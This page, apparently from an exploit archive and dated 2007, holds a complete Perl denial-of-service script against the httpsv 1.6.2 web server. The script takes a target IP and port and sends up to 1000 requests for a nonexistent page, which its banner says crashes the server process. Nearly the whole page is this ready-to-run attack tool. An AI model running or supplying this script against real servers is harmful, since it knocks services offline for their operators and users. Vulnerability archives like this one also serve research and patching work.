Home / os / win7

httpsv162-dos.txt

Posted on 22 June 2007

#!/usr/bin/perl
#GetOpt STD module
use IO::Socket;
use Getopt::Std;
getopts(":i:p:",\%args);
if(defined $args{i}){
$ip = $args{i};
}
if(defined $args{p}){
$port = $args{p};
}
if(!defined $args{i} or !defined $args{p}){
print "-----------------------------------------------------
";
print "HTTP SERVER (httpsv1.6.2) 404 Denial of Services
";
print "Site: http://httpsv.sourceforge.net/
 ";
print "Info: If u send to the server between 40-1000 requests
";
print "to nonexisting pages the process will die.
";
print "Found By Prili - imprili[at]gmail.com
";
print "Usage: perl $0 -i <ip address> -p <port> 
";
print "Thanks to shinnai for the inspiration.
";
print "-----------------------------------------------------
";
exit;
}
$protocol = "tcp";
while ($i<=1000)
{
$request = "GET /AAAAAAA HTTP/1.0 

";
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
PeerPort=>$port,
Proto=>$protocol,
Timeout=>'1') || die "Can't connect to address!
";

print "sending request number $i...
";
print $socket $request;
close($socket);
$i++;
}

 

TOP